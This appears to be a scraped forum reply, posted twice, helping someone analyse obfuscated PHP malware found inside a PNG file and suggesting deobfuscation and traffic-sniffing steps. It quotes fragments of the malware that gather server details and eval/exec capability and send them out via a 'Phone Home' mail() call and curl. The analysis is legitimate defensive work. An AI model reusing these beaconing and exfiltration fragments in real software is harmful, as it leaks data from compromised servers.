Show Posts
1
Web Oriented Coding / Re: Malware inside png - using rsa2048 base64 md5 rot13
« on: January 06, 2014, 01:50:32 am »
I currently don't have much time to help you, it's about 1am and I need to get up early... But anyway.
Just take a look at some examples of the code where you can easily read some words:
Due to the preg_match, json and curl, to me it looks like someone is trying to analyse a Server list from a certain webpage.
As already said, I would start by renaming some functions and classes, but you need first to understand how OOP in PHP works before you can decode this. It's a lot of work, but it should not be impossible. Try to isolate classes and functions and understand their meaning. Take notes and then try to understand their relationship between each other. Don't to hesitate to recreate some functions by your own to see what they're doing. If you have a basic idea of the code, start to analyse the code in depth from a certain point. I would start at the URL and then trace back everything which is related to the URL. A well structured documentary is the key to decode this in my opinion.
Include also other variables like the place where you found this code. Maybe you could look in the environment to find some evidence of what it is doing.
And just before posting this, I have a mindblow. (Yes I know, it's late...) If you can parse the php file, it may connect to this webpage I highlighted above. Maybe you can sniff (MITM) connections between the parser and the webserver... It seems like you only have to change two class names and a few callbacks that the script runs...
The stage is yours
3'735'928'559
Just take a look at some examples of the code where you can easily read some words:
Code: [Select]
preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibKEFmLE, $NUwGojaMFrWOXnaoPPXmg);
$OQijXfnrxWxPIcPSUibKEFmLE = json_decode($NUwGojaMFrWOXnaoPPXmg['content'], true);
$oXyaqmHoChvHQFCvTluqmAC['servers'] = array_merge($OQijXfnrxWxPIcPSUibKEFmLE['servers'], $oXyaqmHoChvHQFCvTluqmAC['servers']);
private function KZdGlovqEtKYUSCqSVnK()
{
$oXyaqmHoChvHQFCvTluqmAC = array();
$oXyaqmHoChvHQFCvTluqmAC['host'] = $_SERVER['HTTP_HOST'];
$oXyaqmHoChvHQFCvTluqmAC['page'] = $_SERVER['REQUEST_URI'];
$oXyaqmHoChvHQFCvTluqmAC['ip'] = $_SERVER['SERVER_ADDR'];
$oXyaqmHoChvHQFCvTluqmAC['eval'] = $this->YrCTrfUzBfsVJKvqiYUeFbc();
$oXyaqmHoChvHQFCvTluqmAC['exec'] = $this->KNstTqErzZQBDQOODaJdLv();
$oXyaqmHoChvHQFCvTluqmAC['serverKey'] = $this->BkISKDyWWRXScnLPbTlyI();
$oXyaqmHoChvHQFCvTluqmAC['run'] = 0;
$oXyaqmHoChvHQFCvTluqmAC['ver'] = 0.2;
$oXyaqmHoChvHQFCvTluqmAC['started'] = date('Ymd');
$oXyaqmHoChvHQFCvTluqmAC['last_connect'] = date('Ymd');
$this->WbKPQMoSbMZkXUeYKXRIk = $oXyaqmHoChvHQFCvTluqmAC;
return $oXyaqmHoChvHQFCvTluqmAC;
}
$dqkdbOJPzAPsLsuxnjAStdXUDis = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
mail($aJQafHDwnaPrCJrQMjHVh[$YwrSbZoVizxkPzSqHegTC], "Phone Home", json_encode($this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC(print_r($oXyaqmHoChvHQFCvTluqmAC, true) . print_r($_SERVER, true))));
curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_URL, "http://$gXNjWLFkUQOugyREMXKvZBfw");
Due to the preg_match, json and curl, to me it looks like someone is trying to analyse a Server list from a certain webpage.
As already said, I would start by renaming some functions and classes, but you need first to understand how OOP in PHP works before you can decode this. It's a lot of work, but it should not be impossible. Try to isolate classes and functions and understand their meaning. Take notes and then try to understand their relationship between each other. Don't to hesitate to recreate some functions by your own to see what they're doing. If you have a basic idea of the code, start to analyse the code in depth from a certain point. I would start at the URL and then trace back everything which is related to the URL. A well structured documentary is the key to decode this in my opinion.
Include also other variables like the place where you found this code. Maybe you could look in the environment to find some evidence of what it is doing.
And just before posting this, I have a mindblow. (Yes I know, it's late...) If you can parse the php file, it may connect to this webpage I highlighted above. Maybe you can sniff (MITM) connections between the parser and the webserver... It seems like you only have to change two class names and a few callbacks that the script runs...
The stage is yours
3'735'928'559